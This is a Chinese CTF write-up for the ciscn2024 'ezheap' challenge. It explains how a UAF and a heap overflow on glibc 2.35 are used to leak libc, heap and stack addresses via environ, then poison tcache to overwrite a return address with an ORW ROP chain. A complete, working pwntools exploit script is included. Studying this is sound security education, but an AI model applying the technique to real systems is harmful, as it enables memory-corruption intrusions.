利用environ变量实现堆题打栈--以ciscn2024 ezheap为例
字数 2392 2025-08-22 18:37:22
利用environ变量实现堆题打栈攻击技术详解
1. 题目背景分析
1.1 题目基本信息
- 题目名称:ciscn2024 ezheap
- glibc版本:2.35
- 保护机制:开启sandbox,限制为只能使用orw和mprotect
- 攻击目标:劫持程序执行流实现ORW读取flag
1.2 题目功能分析
- 主函数:提供基本的菜单功能,包括添加、删除、编辑和显示堆块
- add函数:
- 最多可管理80个堆块(0-79)
- 堆块大小限制为不超过0x501
- 申请后会将堆块数据清零再填充用户输入
- 使用循环查找空闲索引,释放的堆块索引会被优先复用
- delete函数:
- 存在UAF漏洞:free的是void**类型数据,但只清空了数组中的指针
- edit函数:
- 存在堆溢出漏洞:输入长度由用户控制,可超出堆块实际大小
- show函数:
- 使用printf输出,遇到NULL字节才会停止
2. glibc 2.35关键保护机制
2.1 tcache堆指针异或加密(glibc-2.32引入)
- 加密方式:
fd = (heap_addr >> 12) ^ (target_addr - 0x10) - 特性:
- 当tcache链表中只有一个堆块时,fd默认为0,此时堆块中存放的是
(heap_addr >> 12) ^ 0 - 这为泄露堆地址提供了便利
- 当tcache链表中只有一个堆块时,fd默认为0,此时堆块中存放的是
2.2 tcache chunk地址对齐检查(glibc-2.32引入)
- 要求申请chunk的size最后一个字节必须为0x00
- 否则会报错:
malloc(): unaligned tcache chunk detected
2.3 hook函数消失(glibc-2.34之后)
- 移除了malloc_hook等hook函数
- 传统通过hook劫持执行流的方法失效
3. 攻击思路与步骤
3.1 泄露libc地址
- 申请4个0x408大小的堆块(0-3)
- 通过edit函数溢出修改chunk1的size为chunk1+chunk2的大小(0x821)
- 释放chunk1,这会同时将chunk2放入unsorted bin
- 重新申请chunk1,此时chunk2仍在unsorted bin中
- 显示chunk2的内容,泄露main_arena地址
- 计算libc基址:
libc_base = leaked_addr - 0x21ace0
3.2 泄露堆地址
- 申请3个0x408大小的堆块(4-6)
- 释放chunk4,将其放入tcache
- 显示chunk2(仍指向原chunk2),由于tcache单链表特性,会泄露
heap_addr >> 12 - 计算堆基址:
heap_base = (leaked_data << 12)
3.3 泄露栈地址(利用environ变量)
- 获取environ变量地址:
environ = libc_base + libc.sym['environ'] - 计算目标地址:
target = environ - 0x410 - 释放chunk6,准备修改tcache fd
- 构造加密后的fd:
fd = (heap_base + 0x16e0) >> 12 ^ target - 通过edit溢出修改chunk5的fd指针
- 连续申请两个0x400大小的堆块,第二个将位于environ附近
- 使用show函数泄露出栈地址
- 计算返回地址位置:
stack_addr = leaked_addr - 0x168
3.4 构造ORW链并劫持控制流
- 准备ORW的ROP链:
orw = b'./flag\x00\x00' orw += p64(pop_rdi) + p64(stack_addr - 0x10) orw += p64(pop_rsi) + p64(0) orw += p64(pop_rax) + p64(2) orw += p64(syscall_ret) # open("./flag", 0) orw += p64(pop_rax) + p64(0) orw += p64(pop_rdi) + p64(3) orw += p64(pop_rsi) + p64(stack_addr - 0x300) orw += p64(pop_rdx_rbx) + p64(0x30)*2 orw += p64(syscall_ret) # read(3, stack_addr-0x300, 0x30) orw += p64(pop_rax) + p64(1) orw += p64(pop_rdi) + p64(1) orw += p64(pop_rsi) + p64(stack_addr - 0x300) orw += p64(pop_rdx_rbx) + p64(0x30)*2 orw += p64(syscall_ret) # write(1, stack-0x300, 0x30) - 申请新的堆块(7-10)
- 释放chunk9和chunk8,准备修改tcache fd
- 计算新的目标地址:
target = stack_addr - 0x10 - 构造加密后的fd:
fd = (heap_base + 0x1f00) >> 12 ^ target - 通过edit溢出修改chunk7的fd指针
- 连续申请两个0x408大小的堆块,第二个将位于返回地址附近
- 在第二次申请时写入ORW链,覆盖返回地址
4. 关键技术与原理
4.1 environ变量利用原理
- environ是libc导出的全局变量,存储了环境变量的地址
- 环境变量位于栈上,与函数返回地址有固定偏移
- 通过泄露environ可以定位栈上的返回地址
4.2 高版本堆利用特点
-
指针加密绕过:
- 必须正确计算加密后的指针值
- 加密公式:
encrypted_ptr = (heap_addr >> 12) ^ target_addr
-
执行流劫持替代方案:
- 由于hook函数移除,转向栈ROP或FSOP
- 本方案选择直接修改栈返回地址
-
tcache特性利用:
- 单链表时fd存储的是
heap_addr >> 12 - 可通过溢出修改fd实现任意地址分配
- 单链表时fd存储的是
4.3 ORW构造技巧
- 使用syscall而非libc函数调用,避免破坏栈结构
- 文件描述符预测:open返回的fd通常是3
- 字符串存储:将flag路径存储在ROP链中
5. 完整EXP代码
from pwn import *
context(log_level='debug', arch='amd64', os='linux')
io = process('./pwn')
# io=remote("pwn.challenge.ctf.show",28193)
elf = ELF('./pwn')
libc = ELF('libc.so.6')
def dbg():
gdb.attach(io)
pause()
def bug():
gdb.attach(io, "b *$rebase(0x16cc)")
def add(size, content):
io.recvuntil(b'choice >>')
io.sendline(str(1))
io.recv()
io.sendline(str(size))
io.recv()
io.sendline(content)
def free(idx):
io.recvuntil(b'choice >>')
io.sendline(str(2))
io.recv()
io.sendline(str(idx))
def show(idx):
io.recvuntil(b'choice >>')
io.sendline(str(4))
io.recv()
io.sendline(str(idx))
def edit(idx, size, content):
io.recvuntil(b'choice >>')
io.sendline(str(3))
io.recv()
io.sendline(str(idx))
io.recv()
io.sendline(str(size))
io.recv()
io.sendline(content)
# 泄露libc
add(0x408, b'aaaa') #0
add(0x408, b'aaaa') #1
add(0x408, b'aaaa') #2
add(0x408, b'aaaa') #3
edit(0, 0x500, b'a'*0x408 + p64(0x821))
free(1)
add(0x408, b'a') #1
show(2)
io.recvuntil(b'content:')
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x21ace0
print(hex(libc_base))
# 泄露堆地址
add(0x408, b'aaaaaaaa') #4
add(0x408, b'aaaaaaaa') #5
add(0x408, b'aaaaaaaa') #6
free(4)
show(2)
io.recvuntil(b'content:')
heap_base = u64(io.recv(5).ljust(8, b'\x00')) << 12
print(hex(heap_base))
# 准备gadgets
pop_rdi = libc_base + 0x002a3e5
pop_rsi = libc_base + 0x002be51
pop_rdx_rbx = libc_base + 0x0904a9
pop_rax = libc_base + 0x45eb0
syscall_ret = libc_base + 0x0091316
environ = libc_base + libc.sym['environ']
# 泄露栈地址
heap = (heap_base + 0x16e0) >> 12
tar = environ - 0x410
fd = heap ^ tar
free(6)
payload = b'a'*0x400 + p64(0) + p64(0x411) + p64(fd)
edit(5, 0x500, payload)
print(hex(tar))
add(0x400, b'aaaaaaaa') #4
add(0x400, b'aaaaaaaa') #6
edit(6, 0x500, b'a'*0x40f)
show(6)
stack_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x168
print(hex(stack_addr))
# 构造ORW链
orw = b'./flag\x00\x00'
orw += p64(pop_rdi) + p64(stack_addr - 0x10)
orw += p64(pop_rsi) + p64(0)
orw += p64(pop_rax) + p64(2)
orw += p64(syscall_ret) # open("./flag",0)
orw += p64(pop_rax) + p64(0)
orw += p64(pop_rdi) + p64(3)
orw += p64(pop_rsi) + p64(stack_addr - 0x300)
orw += p64(pop_rdx_rbx) + p64(0x30)*2
orw += p64(syscall_ret) # read(3,stack_addr-0x300,0x30)
orw += p64(pop_rax) + p64(1)
orw += p64(pop_rdi) + p64(1)
orw += p64(pop_rsi) + p64(stack_addr - 0x300)
orw += p64(pop_rdx_rbx) + p64(0x30)*2
orw += p64(syscall_ret) # write(1,stack-0x300,0x30)
# 劫持控制流
add(0x408, b'aaaaaaaa') #7
add(0x408, b'aaaaaaaa') #8
add(0x408, b'aaaaaaaa') #9
add(0x408, b'aaaaaaaa') #10
free(9)
free(8)
heap = (heap_base + 0x1f00) >> 12
tar = stack_addr - 0x10
fd = heap ^ tar
payload = b'a'*0x400 + p64(0) + p64(0x411) + p64(fd)
edit(7, 0x500, payload)
add(0x408, b'aaaaaaaa') #8
add(0x408, orw) #9
io.interactive()
6. 总结与防御建议
6.1 攻击技术总结
- 结合UAF和堆溢出实现信息泄露
- 利用environ变量定位栈地址
- 通过tcache指针加密机制实现任意地址写
- 直接修改返回地址实现控制流劫持
6.2 防御建议
-
对开发者:
- 严格检查堆块操作的长度
- 释放后及时清空指针
- 避免使用不安全的输出函数
-
对防护机制:
- 启用ASLR增加预测难度
- 使用更严格的沙箱限制
- 监控敏感变量如environ的访问
-
对CTF出题:
- 合理设置防护等级
- 确保漏洞利用需要多步骤组合
- 避免单一漏洞直接导致沦陷
这种利用environ变量攻击栈的技术在高版本glibc环境下尤为重要,特别是在hook函数移除后,为堆漏洞利用提供了一条可靠的攻击路径。理解并掌握这种技术对于现代二进制安全研究至关重要。